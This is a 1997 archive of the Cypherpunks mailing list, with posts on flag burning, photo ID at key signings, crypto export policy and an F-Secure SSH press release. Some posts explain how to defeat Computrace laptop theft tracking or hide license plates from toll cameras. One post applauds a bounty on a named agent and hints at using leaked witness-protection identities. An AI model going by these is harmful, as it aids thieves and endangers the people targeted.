> | 	weakening the First Amendment.
> 
> 	Would a Flag Burning Ammendment give the court clear guidance
> that other offensive speech, not ammended against, is now more ok?
> 
> Adam
> 
> 
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume
> 
> 
> 
> 






From trei at process.com  Thu Jun 12 07:33:44 1997
From: trei at process.com (Peter Trei)
Date: Thu, 12 Jun 1997 22:33:44 +0800
Subject: [off-topic CNN] Stolen Laptops and lame 'solution'
Message-ID: <199706121428.KAA18065@www.video-collage.com>



Kent Crispin  wrote:
> On Wed, Jun 11, 1997 at 09:37:42PM -0500, William H. Geiger III wrote:
> [...]
> >The end buyer should not be held responcible for the illegal activities of
> >the seller.
> 
> Regardless of responsibility, if the original owner can prove it is
> stolen goods, the end buyer is out of luck -- clearly the original
> owner should get their goods back.  And if the end buyer provably has
> clear knowledge that it is stolen property, they are an accesssory to
> the crime. 

The question of what happens to property which is bought in good 
faith, but is later discovered to be stolen, is not a clear one,
and is dealt with in different ways in different countries.

In the US, the property nearly always reverts to the original owner,
unless the thief is a government. However, I remember reading 
articles about stolen art which implied that that is not always 
the case in Europe.

When the stolen article is land, or governments and/or national pride
are involved, things get very strange. Greece is still trying to 
recover the Elgin Marbles, which were taken by a Briton from
the Parthenon around 1810, during the Turkish occupation. I'm sure
Egypt would also like the Rosetta stone back - this was taken by
Napolean in 1799, and later captured by the British. Both are now
in the British Museum.

Sometimes the claims go across millenia - the record I can think 
of being that certain specific parcels of land in Israel are 
claimed by modern Jewish settlers on the grounds that their 
purchase from the Philistines is explicitly mentioned in the Old 
Testament, while there is no extant record of their sale to 
the modern (non-Jewish) owners.

[usual disclaimers apply]

Peter Trei
trei at Process.com






From mark at unicorn.com  Thu Jun 12 07:34:19 1997
From: mark at unicorn.com (Mark Grant)
Date: Thu, 12 Jun 1997 22:34:19 +0800
Subject: Photo ID is not needed for key signings...
Message-ID: 



Joshua E. Hill (jehill at w6bhz.calpoly.edu) wrote:

> Because _these_ people _are_ binding true names to keys.  That's
> what _this_ is about.

No, they're binding supposedly government-issued ids to keys. There's a
difference.

There are three problems with signing keys based on government-issued ids.

 1. There's no link between a driver's license and an email address,
    so anyone with a license for 'Mark Grant' could claim to be the
    owner of the 'mark at unicorn.com' key.
 2. Governments will issue fake ids to their agents, so there's no 
    proof that that 'Mark Grant' is 'really' 'Mark Grant' and not
    'Joe Sasquatch, NSA, FBI, BATF'.
 3. Thieves have got fed up with faking individual licenses and can
    now do so wholesale; see the following from a recent RISKS
    Digest (18:94)

------------------------------
Date: Tue, 25 Mar 1997 16:39:50 -0500 (EST)
>From: GaryG4430 at aol.com
Subject: Thieves steal license machines

Excuse me Sir, but would you watch my Golden Goose while I go get a cup of
coffee?

Published in the *Portland Oregonian*, 25 Mar 1997, p.2, Around the
Nation:

  Thieves steal license machines

  MIAMI - Last year, Florida bought computers to make driver's licenses
  that are virtually impossible to counterfeit.  But brazen South Florida
  thieves have been stealing the computers, sometimes later returning to the 
  scene to pick up accessories.  In seven burglaries at five virtually
  unprotected driver's license offices from Key Largo to Okeechobee, crooks have
  gathered the $15,000 computers, software and supplies for five complete
  systems -everything they would need to crank out the state's new 
  high-tech, counterfeit-resistant licenses.

Yup, only our high-tech systems can make our high-security, tamperproof,
extremely valuable documents.  And you can't just buy one of these system
just anywhere...

Gary Grossoehme, Oregon Electronics

  [Also commented on by Bob_Frankston at frankston.com, who notes that if the
  new licenses are considered "foolproof", it only increases their value!
  PGN]

------------------------------







From bluelist at hotmail.com  Thu Jun 12 08:26:25 1997
From: bluelist at hotmail.com (bluelist at hotmail.com)
Date: Thu, 12 Jun 1997 23:26:25 +0800
Subject: It's only QA.
Message-ID: 



Thee BlueList is NOT harassment.  
It's NetWare Quality Assurance.

No VM/CMS SMTP bugs here.  
This time it's a Linux Smail test.

In the future, look for similar tests
of HP SendMail, SGI/SVI, IBM OS/2, etc.






From cypherpunks at Algebra.COM  Thu Jun 12 08:34:09 1997
From: cypherpunks at Algebra.COM (cypherpunks at Algebra.COM)
Date: Thu, 12 Jun 1997 23:34:09 +0800
Subject: just testing ...
Message-ID: 



Thee BlueList is NOT harassment.  
It's NetWare Quality Assurance.

Check the headers on this, and you'll
see that they are somewhat misleading.

Maybe there's some Mail Transfer Agent
bugs that need fixing.  Or, could it be the
specifications of how this is supposed to
work?

In the future, look for similar tests
of HP SendMail, SGI/SVI, IBM OS/2, etc.






From frantz at netcom.com  Thu Jun 12 08:37:44 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 12 Jun 1997 23:37:44 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: 



IMHO - What you are really signing is the binding between the data
associated with the key (usually an email address) and the key.  You are
saying that the secret key holder is (one of the) person(s) who has access
to that account, and not some man in the middle in the middle.  If you ask
to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
either see a forgery or an ID issued by an organization not interested in
birth certificates.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From geeman at best.com  Thu Jun 12 08:46:49 1997
From: geeman at best.com (geeman at best.com)
Date: Thu, 12 Jun 1997 23:46:49 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
Message-ID: <3.0.32.19970612083315.006c1b68@best.com>



At 05:22 PM 6/11/97 +0000, Raymond Mereniuk wrote:
>
>>
>> >                     The call goes to a Canadian office
>> >                     that in turn phones the cops. So far,
>> >                     it has a 100 percent recovery rate. 
>> >
>> ======  100% of WHAT?  Systems with it installed which are stolen?   How
>> would you know what systems do NOT call in?  
>> It's like the question the clerk asks at the airport: "Did anyone put
>> anything in your luggage you don't know anything about?"
>> 
>> Now that the word is out, of course, the wily thief will eschew pluggin in
>> until the hard drive is reformatted and installed
>> with a clean OS.  As usual: the stupid will be caught. 
>
>This has been discussed on this list before, about 1 year ago.  The 
>Computrace software is installed on a place on the hard drive where 
>DOS utilities like Fdisk and Format can not get at it.  This is the 
>same as Diskmanager Version 7 or higher, Fdisk and Format will not 
>remove this version of Diskmanager.
>

Unless you overwrite the MBR and the first TRACK on the disk.  Well, the
bar is raised by
about 3 minutes with DEBUG, thanks.






From tcmay at got.net  Thu Jun 12 08:49:12 1997
From: tcmay at got.net (Tim May)
Date: Thu, 12 Jun 1997 23:49:12 +0800
Subject: Photo ID is not needed for key signings...
In-Reply-To: 
Message-ID: 



At 7:20 AM -0700 6/12/97, Mark Grant wrote:

>No, they're binding supposedly government-issued ids to keys. There's a
>difference.
>
>There are three problems with signing keys based on government-issued ids.
>

> 2. Governments will issue fake ids to their agents, so there's no
>    proof that that 'Mark Grant' is 'really' 'Mark Grant' and not
>    'Joe Sasquatch, NSA, FBI, BATF'.

I understand that "Joe Sasquatch" is actually the newly-issued name for the
BATFag formerly known as "Lon Horiuchi." He can run, but he can't hide
(forever).

(Talk about your assassination politics! The militias have a price on that
guy's head.)

The USG is of course one of the main liars about identity, using
government-issued credentials to lie about past and current identities.
Check into the so-called "Witness Security Program," aka WitSec. (Popularly
known as "Witness Protection.")

A recent vintage list of mappings between apparent True Names and
government-issued fake names, including faked credit reports (the three
major CRAs are of course complicit in this fakery), was floating around in
the underground community a few years ago...acquired from a government
surplus disk drive arrray bought in Martinsburg, W. Va. Many interesting
uses of such a list of stool pigeons and traitors.

Fascinating times, eh?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From sunder at brainlink.com  Thu Jun 12 09:02:30 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 13 Jun 1997 00:02:30 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706112341.QAA05443@mat.wcs.net>
Message-ID: 



On Wed, 11 Jun 1997, Raymond Mereniuk wrote:

> This has been discussed on this list before, about 1 year ago.  The 
> Computrace software is installed on a place on the hard drive where 
> DOS utilities like Fdisk and Format can not get at it.  This is the 
> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
> remove this version of Diskmanager.

Okay, so if format and fdisk won't get to it, then it must live in the
master boot record - (otherwise how would it run?)  Booting off a floppy
and running FDISK /MBR would wipe it.  If not, then a low level format
would.  If you lack the software for a low level wipe then a program that
zaps every sector of a drive including the MBR, and partition table would
fix it.  (If it lived on the boot sector than replacing it with the SYS
command would be possible.  If it lives in any other area, it can't
execute.)

Installing Linux with Lilo in the MBR would also zap it.  Can it work with
other operating systems?  Say NT, or Solaris x86, Linux, or OS/2?  It's
useless if someone can simply install a non-compatible OS.  If it still
works with other OS's, then it only runs durring the bootup processes.
Which means that you simply don't plug your modem on the phone line while
you boot up and that's that.  If it's only compatible with Win95 or DOS,
then you install NT or Linux, or Solaris, and that will bypass it.


[The other (unlikely) possibility is that it would live in the BIOS for
FlashBIOS machines, but this is not likely since if it were to go there,
chances are there would be bugs and incompatibilities between their
software and the BIOS that would damage the computer. ]
 
The 1st thing a smart theif would do is to remove the modem from the
notebook computer and sell it separatly.  That way until the sucker with
the stolen notebook buys and uses a modem, he's untraceable.  And he can
sell the modem to someone else.

> The Computrace software is configured to call the 1-800 number on a 
> regular pre-assigned schedule and talk to the computers at Absolute 
> Software.  If the notebook has been reported stolen the computers at 
> Absolute will advise the subject unit to call back on a more frequent 
> basis.  The Computrace software turns off all modem speaker 
> functionality.

What if the notebook HASN'T been reported as stolen?  Then this software
can be used to track the location of the notebook computer, and as such it
is a privacy intrusion device.  I don't want some piece of software, even
if it protects my computer from theft to report on where I am at a given
time.  It is none of Computrace's business.

As for the silent modem functionality, I can simply attach a phone monitor
on the line.  A simple $19 box from RadioShack that hooks up to a tape
recorder can be hooked up to a powered speaker.  If the theif hears the
notebook dial the phone, he'd know it's there.

In any case, I'm not as worried about notebook loss as I am about the data
on it, so having a good hard drive encryptor is more valuable to me than
losing $2K for a notebook computer.  I don't trust this hackish bit of
software, especially if it will keep tabs on my location when the thing
isn't stolen.

(And yes I have that same sentiment about the LoJack car transponder, and
the EZ-Pass toll paying system, and cell phones.  Each of these
technologies can report on your whereabouts and thus pinpoint your
location at any given time.  They're all invasion of privacy things that
the masses are suckered into buying for either protection or convenience.
Uncool stuff.  I'd rather get comprehensive theft insurance, and pay tolls
in cash. FYI: I do have a cell phone, but I keep it off so it can't
transmit anything when I'm not using it.  Of course toll boths take pix
of the licensplates that pass by, but that's something I've no control
over.)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From shamrock at netcom.com  Thu Jun 12 09:12:00 1997
From: shamrock at netcom.com (Lucky Green)
Date: Fri, 13 Jun 1997 00:12:00 +0800
Subject: New key for shamrock@netcom.com
In-Reply-To: <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970612090329.03c06a28@netcom13.netcom.com>



At 06:51 AM 6/12/97 -0500, William H. Geiger III wrote:
>I hope that you generated a new RSA key also or I would hang onto that old
>key.

I'll hang on to the old key. But it seemed time to at least generate its
successor.



--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From Elisabeth.Baker at DataFellows.com  Fri Jun 13 00:22:19 1997
From: Elisabeth.Baker at DataFellows.com (Elisabeth Grace Baker)
Date: Fri, 13 Jun 1997 00:22:19 -0700 (PDT)
Subject: Press release: F-Secure SSH for ISPs !
Message-ID: <3.0.1.32.19970613091009.009abaa0@194.197.29.10>


- Data Fellows announces F-Secure SSH for Internet Service Providers

- Telecom Finland the first ISP to integrate strong encryption with
commercial Internet services 

Here is the latest press release regarding F-Secure SSH for ISPs -- 
the file is available from the Data Fellows ftp server as 
\partner\f-secure\marketng\presskit\sshtelec.zip
(Also available from N: as file:N:\DF\Press-Releases\f-secure\SSHtelec.rtf)

Enjoy!

Best regards,
Elisabeth Baker

-----------------------------------------------------------------

 Elisabeth.Baker at DataFellows.com            Tel +358 9 478 44551
 International Publication Coordinator      GSM +358 50 560 6350
 Data Fellows Security Software             Fax +358 9 478 44599

          P�iv�ntaite 8 * 02210 Espoo * Suomi - Finland
          kotiosoite: 24�55'21" E and 60�11'09" N  -smm
                   http://www.DataFellows.com
-----------------------------------------------------------------





From karn at qualcomm.com  Thu Jun 12 09:32:38 1997
From: karn at qualcomm.com (Phil Karn)
Date: Fri, 13 Jun 1997 00:32:38 +0800
Subject: Feds have lost battle against encryption
In-Reply-To: 
Message-ID: <199706121616.JAA08347@servo.qualcomm.com>



The really ironic issue of late has been supercomputer exports. We now
have the spectacle of William Reinsch saying that export restrictions
on supercomputer *hardware* are unworkable because the technology is
available all around the world.

This is the very same Commerce official who still says with a straight
face that export controls on encryption *software* are workable and
desirable.

And we have the chairman of the House Judiciary Committee, the same
committee that recently approved the SAFE act to deregulate crypto
exports, calling for an investigation into Commerce's approval of
recent supercomputer exports to China.

Yet I presume nobody minds that we can ship as many Pentiums as we
want to China.

Somebody really needs to say the words "distributed computing" to
Congress. Perhaps that will be the major benefit of the DES Challenge
project when (not if) it succeeds.

Phil






From whgiii at amaranth.com  Thu Jun 12 09:39:25 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 13 Jun 1997 00:39:25 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: 
Message-ID: <199706121616.LAA20570@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/12/97 
   at 11:57 AM, Ray Arachelian  said:

> Of course toll boths take pix
>of the licensplates that pass by, but that's something I've no control
>over.)

A pickup truck & a little mud takes care of that problem. :)

Quite often there are low-tech solutions to high tech problems. :)))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6Ah9I9Co1n+aLhhAQH2cQP9GUpDZx8borufNFCVnm5OVssWjiJMs0f1
VS60LZIJj4mCZgDcEWBx0bvDo7txRcmZS0bWRgW3H0uSOeQbUyuYFiFEOxEYNjAJ
WOWbRzIMwdqyyeIHT73OqCYJLqya/L0fi48x3tF/eeWw56D8oWlZmyKPVso1fzXW
QmaM0JZxsR4=
=050N
-----END PGP SIGNATURE-----






From nobody at huge.cajones.com  Thu Jun 12 09:47:22 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 13 Jun 1997 00:47:22 +0800
Subject: Flag burning vote TOMORROW and government-imposed ratings
Message-ID: <199706121630.JAA27386@fat.doobie.com>




On Thu, 12 Jun 1997, Declan McCullagh wrote:
 
>
> Jut woke up, but I would argue "no." This would be the first
> constitutional weakening of the First Amendment ever. Hardly a move that
> strengthens free speech protections.
 
First constitutional weakening yes, but hardly the first weakening. :(    
What about virtual flag burning?  Any Javafolks out there wanting to
protest could write a nice "Click Here to Burn the Flag of these here
United States...  Just like Vince's Be a Crypto Runner page."

Flaming Flag Monger Citizen Unit #401598424628






From nicol at highway1.com.au  Thu Jun 12 10:33:15 1997
From: nicol at highway1.com.au (Peter Nicol - VRL / BroomStick Productions)
Date: Fri, 13 Jun 1997 01:33:15 +0800
Subject: Secrecy?
Message-ID: <199706121722.BAA27903@hedgehog.highway1.com.au>



Hmmmm . . .

After following this list for a while I offer the following 
observation:

"Would it be better to DEMAND the full disclosure of the governments 
secrets rather than scramble around trying to keep ours."

I am prepared to allow governments full access to my 
communications when they allow me full access to theirs.

But then again, why be governed in the first place?

Peter Nicol
Global Media Magnet
nicol at iap.net.au
019 111 943

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously."






From nicol at highway1.com.au  Thu Jun 12 10:34:31 1997
From: nicol at highway1.com.au (Peter Nicol - VRL / BroomStick Productions)
Date: Fri, 13 Jun 1997 01:34:31 +0800
Subject: Access to Storage and Communication Keys et al
In-Reply-To: <19970610134844.39484@bywater.songbird.com>
Message-ID: <199706121717.BAA27877@hedgehog.highway1.com.au>




etc etc etc . . .

>For all the secrets I currently know< etc etc etc . . .

I was taught in anarchist primary school that:

"Secrecy is a tool of the State".

Two daughters of a silk merchant live it Kyoto,
The elder is twenty, the younger, eighteen.
A soldier may kill with his sword,
But these girls slay men with their eyes.






From jehill at w6bhz.calpoly.edu  Thu Jun 12 11:03:39 1997
From: jehill at w6bhz.calpoly.edu (Joshua E. Hill)
Date: Fri, 13 Jun 1997 02:03:39 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: <199706121752.KAA05673@hyperion.boxes.org>



Bill Frantz said:
> IMHO - What you are really signing is the binding between the data
> associated with the key (usually an email address) and the key.  

I think that you are signing the data, but not quite the 
description area. I think you are signing the key. Something 
like the statement "I believe that anything signed by this key 
came from the person known as 'X'".  This could be an e-mail 
address, pseudonym a DNA sequence, or whatever... The key (and
hopefully the binding between the key and the person in meat 
space) is what remains constant... not necessarily what the 
person chooses to go by.

			Josh

-----------------------------Joshua E. Hill-----------------------------
|                 Quantized Revision of Murphy's Law:                  |
|                   Everything goes wrong all at once.                 |
--------------------------jehill at w6bhz.calpoly.edu----------------------






From whgiii at amaranth.com  Thu Jun 12 11:20:48 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 13 Jun 1997 02:20:48 +0800
Subject: Secrecy?
In-Reply-To: <199706121722.BAA27903@hedgehog.highway1.com.au>
Message-ID: <199706121804.NAA22406@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706121722.BAA27903 at hedgehog.highway1.com.au>, on 06/13/97 
   at 01:20 AM, "Peter Nicol - VRL / BroomStick Productions"
 said:

>Hmmmm . . .

>After following this list for a while I offer the following  observation:

>"Would it be better to DEMAND the full disclosure of the governments 
>secrets rather than scramble around trying to keep ours."

>I am prepared to allow governments full access to my 
>communications when they allow me full access to theirs.

Well I for one am not.

What the government does is our business as they work for us. We have
every right to DEMAND full acess to what they are doing.

The government does not have the right to access to what it's citizens are
doing.

This is a simple boss-employee relationship and the government is *NOT*
the boss.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6A7PY9Co1n+aLhhAQGo/gP8DQYlGj4wsGFxmqeJn3NusHrZRA61bm4n
lrRI2UAAJUNUZHyZ3a6nH0jb12pJuNHl1Iv3sUKcAph0jagxEqWw1UyYuhmeiEZc
T9A6QJl34EJCR3gNeQdxVxrXwW6DtVj7q5d27hVEhFgrgd+w6rUuKWv7WAJvViVO
KSZY8t//ZJs=
=JYGg
-----END PGP SIGNATURE-----






From kent at songbird.com  Thu Jun 12 11:26:29 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 13 Jun 1997 02:26:29 +0800
Subject: Access to Storage and Communication Keys et al
In-Reply-To: <19970610134844.39484@bywater.songbird.com>
Message-ID: <19970612110443.36617@bywater.songbird.com>



On Fri, Jun 13, 1997 at 01:15:04AM +0000, Peter Nicol - VRL / BroomStick Productions wrote:
> 
> etc etc etc . . .
> 
> >For all the secrets I currently know< etc etc etc . . .
> 
> I was taught in anarchist primary school that:
> 
> "Secrecy is a tool of the State".

Of course, we are all far past primary school, of whatever stripe, 
and realize that the world is a complex place that doesn't adhere to 
any particular ideology.

> Two daughters of a silk merchant live in Kyoto,
> The elder is twenty, the younger, eighteen.
> A soldier may kill with his sword,
> But these girls slay men with their eyes.

Basho?

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nicol at highway1.com.au  Thu Jun 12 11:36:17 1997
From: nicol at highway1.com.au (Peter Nicol - VRL / BroomStick Productions)
Date: Fri, 13 Jun 1997 02:36:17 +0800
Subject: Secrecy?
In-Reply-To: <199706121722.BAA27903@hedgehog.highway1.com.au>
Message-ID: <199706121821.CAA28599@hedgehog.highway1.com.au>




> >Hmmmm . . .
> 
> >After following this list for a while I offer the following  observation:
> 
> >"Would it be better to DEMAND the full disclosure of the governments 
> >secrets rather than scramble around trying to keep ours."
> 
> >I am prepared to allow governments full access to my 
> >communications when they allow me full access to theirs.
> 
> Well I for one am not.
> 
> What the government does is our business as they work for us. We have
> every right to DEMAND full acess to what they are doing.
> 
> The government does not have the right to access to what it's citizens are
> doing.
> 

Hmmm . . . "The Govenment" or "GovernmentS" . . . perhaps a fine 
point.

> This is a simple boss-employee relationship and the government is *NOT*
> the boss.

Ugly!  I do not enter into boss-employee relationships as either the 
boss or the employee.  I work/play WITH people FOR people as a node 
in the network, not a part of the heirarchy.  Ummm . . . You seem to 
have missed/not quoted the other part of my post.





Peter Nicol
Global Media Magnet
nicol at iap.net.au
019 111 943 (OZ)

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously." 
- Turblulent Mirror






From osborne at gateway.grumman.com  Thu Jun 12 12:26:33 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Fri, 13 Jun 1997 03:26:33 +0800
Subject: Um, I'm probably already in trouble for the last one.
Message-ID: <3.0.1.32.19970612141525.009749e0@gateway.grumman.com>



Forwarded from 0xdeadbeef  (inline tabs converted):
-----
Michael Strelitz  wrote:
>
>> But not every bra has a cryptographic function. Most are used for ASCII 
>> armor or for compression. Some are even designed to make the plaintext
>> stand out and more enjoyable to read.
>
> Touche, but I believe what we have here is a clear case of steganography.

  Yikes.  I think that we should hammer down some definitions before
  this whole thing gets out of hand.

Cryptography:
  Building an difficult-to-unhook bra.

Steganography:
  Building a flesh-colored bra, or one whose unhook mechanism is
  hidden somewhere unexpected (Man:  "How the Hell...?"  Woman:
  "It unhooks in front."  Man:  "Damn those steganographers.")

Public-Key Cryptography:
  Building a bra that anyone can put on, but that only Alice can
  remove.

Watermarking:
  Building a bra that stays on even after smoothing, compression,
  and rotation.  Also, Bob should not be able to put his own bra
  on over Alice's and claim ownership of her body.

Fingerprinting:
  Um, I'm probably already in trouble for the last one, so I'll
  just skip this.

Signatures:
  Building a bra with a nametag ("Property of Alice, machine wash
  warm...") such that bras with Alice's name only fit Alice's body.
  Bob could in theory remove Alice's bra and replace it with his 
  own, but there's no real reason for him to do so.

All-or-Nothing Disclosure Of Secrets:
  Alice transforms her bra into a duffle bag, and either (a) shows
  Bob how to open it, or (b) shows Bob how she made it into a duffle
  bag.  Alice repeats the procedure until Bob is satisfied (perverted
  freak).

One-time Pad:
	Kleenex.

NSA:	An organization that wants women to go back to wearing corsets and
	chastity belts.  Oh, and Bill Clinton gets to keep all the keys.

[looks up at what's written so far and sighs]  I'm so damned juvenile.
I'm going to go do something more constructive and serious.  Well, happy
Monday.

				-Caj

	[**!!Oh, and these are not the views of my employer!!**]
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Haha.. you fool! You fell victim to one of the classic blunders. The most
famous is: Never get involved in a land war in Asia. Only slightly less
well know is this: Never go in against a Sicilian when death is on the
line!






From Jukka.Kotovirta at DataFellows.com  Fri Jun 13 03:57:29 1997
From: Jukka.Kotovirta at DataFellows.com (Jukka Kotovirta)
Date: Fri, 13 Jun 1997 03:57:29 -0700 (PDT)
Subject: Data Fellows announces F-Secure SSH for Internet Service Providers
Message-ID: <2.2.32.19970613100856.008e06a0@smtp.datafellows.com>

Data Fellows Inc.		Press Release


FOR IMMEDIATE RELEASE
June 13th, 1997

Data Fellows announces F-Secure SSH for Internet Service Providers

Telecom Finland the first ISP to integrate strong encryption with commercial
Internet services 

Helsinki, Finland -  Data Fellows, the leading Internet security solutions
provider, announced today a new version of their popular F-Secure SSH
product, setting a new level of security for Internet Service Providers (ISPs).

F-Secure SSH for ISPs gives the customers of an Internet Service Provider
unmatched security by using the SSH security mechanism. The SSH protocol is
currently being standardized by the IETF (Internet Engineering Task Force)
as an application-level security mechanism to be used in conjunction with
Internet protocols. SSH is already widely used by security-conscious
organizations around the world.

The first user of F-Secure SSH for ISPs is Telecom Finland, who bundle the
product with their Internet services. "Since we are the leading
telecommunications operator in Finland,  we need to assure that our services
are reliable and data security maintained at a high level" says Mr. Harri
Johannesdahl, Director of Internet Services, Telecom Finland. "Good security
features also help us maintain our leading edge in this highly competitive
market."

The F-Secure product line offers strong end-user authentication and
encryption of any transferred data. Because the technologies are of European
origin, they are not limited by U.S. Export control. Internet Service
Providers around the world can now add strong security to their product
offering.

"Our F-Secure line of products guarantees ultimate security on the Internet.
Now companies can use the Internet as a serious business tool without the
fear of compromising their corporate assets because of any lack of
security",  explains Mr. Risto Siilasmaa, CEO of Data Fellows Inc. "Also
private Internet users will benefit from this development."

The authentication of users dialling in is done with cryptography, making
management and access control much easier to arrange on a large scale.
Dialling in can be done through any network structure, including the
Internet itself, facilitating Internet roaming. 

"Internet users will gain immediate benefit from F-Secure products. And the
emerging concept of 'extranets' between companies cannot launch safely
without strong authentication and encryption mechanisms", concludes Mr.
Siilasmaa.


Data Fellows company background

Privately owned Data Fellows is the leading technology provider of data
security solutions for computer networks and individual desktop computers.
The F-Secure product family offers protection for sensitive communications
over TCP/IP networks in Windows, Macintosh and UNIX environments. The family
includes products for the creation of strongly encrypted virtual private
networks (F-Secure VPN), secure electronic commerce solutions (F-Secure
Commerce) and secure files and folders on the local PC using strong
encryption (F-Secure Desktop). The F-PROT product is the industry's leading
virus protection software. These products are available world-wide in more
than 40 countries through Data Fellows and its business partners. 

See http://www.DataFellows.com for more information.

Contact information

Europe:	                               USA:
Data Fellows Ltd.	               Data Fellows Inc.
P�iv�ntaite 8	                       4000 Moorpark Avenue, Suite 207
FIN-02210 ESPOO, FINLAND	       San Jose, CA 95117, USA
tel. +358 9 478 444	               tel. (408) 244 9090
fax +358 9 4784 4599	               fax (408) 244 9494

http://www.DataFellows.com
email: F-Secure-Sales at DataFellows.com
 


RTF file

----------------------------------------------------------------------------
Jukka Kotovirta                             Tel      +358 9 478 444
Director OEM Sales & Major Accounts         Fax      +358 9 4784 4599
Data Fellows Ltd. 		            Mobile   +358 405 883 933
 
Paivantaite 8 		                    Jukka.Kotovirta at DataFellows.com
02210 Espoo			            http://www.DataFellows.com/
Finland, Europe            
----------------------------------------------------------------------------
-------------- next part --------------
A non-text attachment was scrubbed...
Name: rtf00000.rtf
Type: application/octet-stream
Size: 40839 bytes
Desc: ""
URL: 

From cme at cybercash.com  Thu Jun 12 13:02:35 1997
From: cme at cybercash.com (Carl Ellison)
Date: Fri, 13 Jun 1997 04:02:35 +0800
Subject: Feds have lost battle against encryption
In-Reply-To: 
Message-ID: <3.0.2.32.19970612152540.00be65c0@cybercash.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 09:16 AM 6/12/97 -0700, Phil Karn wrote:
>Somebody really needs to say the words "distributed computing" to
>Congress. Perhaps that will be the major benefit of the DES Challenge
>project when (not if) it succeeds.

Too bad there isn't a simple word for "a computer in every vending machine, 
VCR and even styrofoam coffee cup, capable of doing strong crypto".

-----BEGIN PGP SIGNATURE-----
Version: 5.0
Charset: noconv

iQCVAwUBM6BNM1QXJENzYr45AQEzEQP/YV3m4vdFhPt2QRz1OvEkDldvvWv0ti+g
aUTN7UxSTr/4wLB3Km7iRhYIM5D9tG54ikPT6y1PO//O0bqtGycy/IcbfXhP7shn
7pfpqB48/8Wn2gZb2dxPRNLkg48EBgkmWnabFaR8hnxPsl6MjHDQnbtCsl45b1uc
PAdDTIquNqw=
=V/Xm
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison  cme at cybercash.com   http://www.clark.net/pub/cme |
